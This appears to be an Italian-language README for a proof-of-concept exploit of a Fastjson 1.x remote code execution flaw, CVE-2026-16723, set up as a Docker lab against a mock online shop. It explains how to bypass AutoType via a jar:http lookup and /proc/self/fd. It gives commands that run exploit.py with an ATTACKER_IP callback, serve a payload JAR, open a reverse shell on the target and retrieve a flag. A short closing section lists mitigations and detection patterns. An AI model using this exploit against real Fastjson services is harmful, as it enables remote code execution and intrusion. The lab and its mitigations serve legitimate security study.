
PoC exploit per Fastjson RCE (CVE-2026-16723) con generazione e consegna automatica del payload JAR tramite JSON appositamente realizzato, bypassando le restrizioni di AutoType.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 è una vulnerabilità di esecuzione remota di codice (RCE) in Fastjson 1.x (1.2.68 – 1.2.83). Quando Fastjson analizza JSON controllato dall'attaccante, un valore
@typeappositamente costruito viene trasformato in una ricerca di risorsa di classe all'interno dicheckAutoType. In un fat-JAR eseguibile Spring Boot, il class loader risolve quel nome come URLjar:http://e recupera un JAR remoto (SSRF), quindi carica una classe che porta l'annotazione@JSONTypeanche se AutoType è disabilitato. Poiché un JDK / Tomcat moderno rifiuta il nome binariojar:http://, la variante affidabile inserisce il JAR nella cache JVM e lo rilegge tramitejar:file:/proc/self/fd/N, così la classe viene definita e il suo inizializzatore statico viene eseguito, ottenendo l'esecuzione di codice. AutoType rimane disabilitato e non è richiesto alcun gadget di classpath.
| Categoria | Versione |
|---|---|
| Vulnerabile | Fastjson 1.2.68 ≤ versione ≤ 1.2.83 |
| Corretto | Migrare a Fastjson 2.x (nessuna versione 1.x corretta) |
Il target del laboratorio è un negozio online pubblico (Northwind Store) la cui API di ricerca deserializza il corpo della richiesta con Fastjson. Tutto è ai valori predefiniti standard di Fastjson: SafeMode disattivato, AutoType disattivato, impacchettato come fat-JAR Spring Boot.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| Prerequisito | Stato in questo laboratorio |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| fat-JAR eseguibile Spring Boot | sì |
| Percorso di parsing JSON non autenticato | POST /api/products/search |
| SafeMode / AutoType | predefiniti (entrambi disattivati) |
L'attaccante e il target si trovano sulla stessa rete bridge Docker, quindi il target raggiunge l'attaccante come connessione in uscita (nessuna porta aggiuntiva viene pubblicata).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py crea il JAR del payload, lo serve, avvia un listener e stampa il corpo della richiesta. È richiesto solo l'indirizzo di callback.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
Incolla il corpo stampato nell'endpoint di ricerca (Burp Repeater o curl) e invialo. La richiesta di ricerca è una funzionalità normale; solo il suo corpo JSON è costruito ad hoc.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
Il codice viene eseguito con l'account del servizio. Recupera la flag tramite la shell ottenuta:
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true@type contenenti pattern jar:http o jar:file / /proc/self/fd